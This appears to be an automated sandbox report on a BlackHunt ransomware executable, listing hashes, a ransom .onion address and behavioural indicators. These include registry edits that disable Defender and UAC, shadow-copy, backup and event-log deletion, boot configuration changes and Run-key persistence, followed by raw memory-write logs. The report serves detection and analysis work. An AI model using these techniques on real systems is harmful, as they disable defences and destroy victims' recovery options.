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Analysis
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max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:57
Static task
static1
Behavioral task
behavioral1
Sample
ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe
Resource
win10v2004-20231215-en
General
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Target
ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe
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Size
707KB
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MD5
801ff340c5ce9858f52138ad4aaf7b6e
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SHA1
2cf78c35a2c468024ec1a18a3aac93822c9b306d
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SHA256
ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4
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SHA512
41cac5b193651601af31f50652bf5394f8ae7585337fc13a444687d847ea08de66ee177227537e8274b399ded0cf22fc3dbc0b55ae33d4808ec0f0004ab6061d
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1U8Jvnh:6uaTmkZJ+naie5OTamgEoKxLW3th
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2968 fsutil.exe 4080 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3356 wevtutil.exe 3260 wevtutil.exe 3256 wevtutil.exe 3240 wevtutil.exe 2992 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2500 bcdedit.exe 2872 bcdedit.exe 3888 bcdedit.exe 2000 bcdedit.exe -
Renames multiple (2921) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2816 wbadmin.exe 2696 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 3320 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\A: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\N: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\Y: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\B: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\R: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\O: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\K: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\M: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\Q: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\G: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\H: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\L: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\T: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\P: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\J: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\V: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\S: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\Z: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\X: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\U: ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened (read-only) \??\F: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\pushplaysubpicture.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins_1.1.200.v20131119-0908.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.hta ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-charts.xml ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port_of_Spain ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_ja_4.4.0.v20140623020002.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\OutDeny.sql ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\7-Zip\Lang\ky.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\15x15dot.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.LIC ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\soniccolorconverter.ax ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net_1.2.200.v20120807-0927.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Halifax ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Apia ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Perth ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\jce.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Indianapolis ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\README.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AIR\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.lucene.analysis_3.5.0.v20120725-1805.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.contexts_1.3.100.v20140407-1019.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitemask1047.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_zh_CN.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-11 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_ReadMe.txt ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7MDT ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_zh_CN.jar ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_Private.key ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 928 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2540 vssadmin.exe 2604 vssadmin.exe 1116 vssadmin.exe 2744 vssadmin.exe 1496 vssadmin.exe 1504 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3000 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon vssadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" vssadmin.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1920 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3736 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeRestorePrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeBackupPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeTakeOwnershipPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeAuditPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeSecurityPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeIncBasePriorityPrivilege 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Token: SeBackupPrivilege 1468 vssvc.exe Token: SeRestorePrivilege 1468 vssvc.exe Token: SeAuditPrivilege 1468 vssvc.exe Token: SeBackupPrivilege 1460 wbengine.exe Token: SeRestorePrivilege 1460 wbengine.exe Token: SeSecurityPrivilege 1460 wbengine.exe Token: SeSecurityPrivilege 3356 wevtutil.exe Token: SeBackupPrivilege 3356 wevtutil.exe Token: SeSecurityPrivilege 3260 wevtutil.exe Token: SeBackupPrivilege 3260 wevtutil.exe Token: SeSecurityPrivilege 3256 wevtutil.exe Token: SeBackupPrivilege 3256 wevtutil.exe Token: SeSecurityPrivilege 3240 wevtutil.exe Token: SeBackupPrivilege 3240 wevtutil.exe Token: SeSecurityPrivilege 2992 wevtutil.exe Token: SeBackupPrivilege 2992 wevtutil.exe Token: SeDebugPrivilege 3000 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2264 wrote to memory of 2080 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 29 PID 2264 wrote to memory of 2080 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 29 PID 2264 wrote to memory of 2080 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 29 PID 2264 wrote to memory of 2080 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 29 PID 2264 wrote to memory of 2688 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 30 PID 2264 wrote to memory of 2688 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 30 PID 2264 wrote to memory of 2688 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 30 PID 2264 wrote to memory of 2688 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 30 PID 2264 wrote to memory of 2736 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 32 PID 2264 wrote to memory of 2736 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 32 PID 2264 wrote to memory of 2736 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 32 PID 2264 wrote to memory of 2736 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 32 PID 2264 wrote to memory of 2760 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 33 PID 2264 wrote to memory of 2760 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 33 PID 2264 wrote to memory of 2760 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 33 PID 2264 wrote to memory of 2760 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 33 PID 2264 wrote to memory of 2900 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 35 PID 2264 wrote to memory of 2900 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 35 PID 2264 wrote to memory of 2900 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 35 PID 2264 wrote to memory of 2900 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 35 PID 2264 wrote to memory of 2644 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 37 PID 2264 wrote to memory of 2644 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 37 PID 2264 wrote to memory of 2644 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 37 PID 2264 wrote to memory of 2644 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 37 PID 2264 wrote to memory of 2664 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 38 PID 2264 wrote to memory of 2664 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 38 PID 2264 wrote to memory of 2664 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 38 PID 2264 wrote to memory of 2664 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 38 PID 2264 wrote to memory of 2672 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 39 PID 2264 wrote to memory of 2672 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 39 PID 2264 wrote to memory of 2672 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 39 PID 2264 wrote to memory of 2672 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 39 PID 2264 wrote to memory of 2812 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 41 PID 2264 wrote to memory of 2812 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 41 PID 2264 wrote to memory of 2812 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 41 PID 2264 wrote to memory of 2812 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 41 PID 2264 wrote to memory of 2656 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 42 PID 2264 wrote to memory of 2656 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 42 PID 2264 wrote to memory of 2656 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 42 PID 2264 wrote to memory of 2656 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 42 PID 2264 wrote to memory of 2816 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 147 PID 2264 wrote to memory of 2816 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 147 PID 2264 wrote to memory of 2816 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 147 PID 2264 wrote to memory of 2816 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 147 PID 2264 wrote to memory of 2804 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 44 PID 2264 wrote to memory of 2804 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 44 PID 2264 wrote to memory of 2804 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 44 PID 2264 wrote to memory of 2804 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 44 PID 2264 wrote to memory of 2564 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 46 PID 2264 wrote to memory of 2564 2264 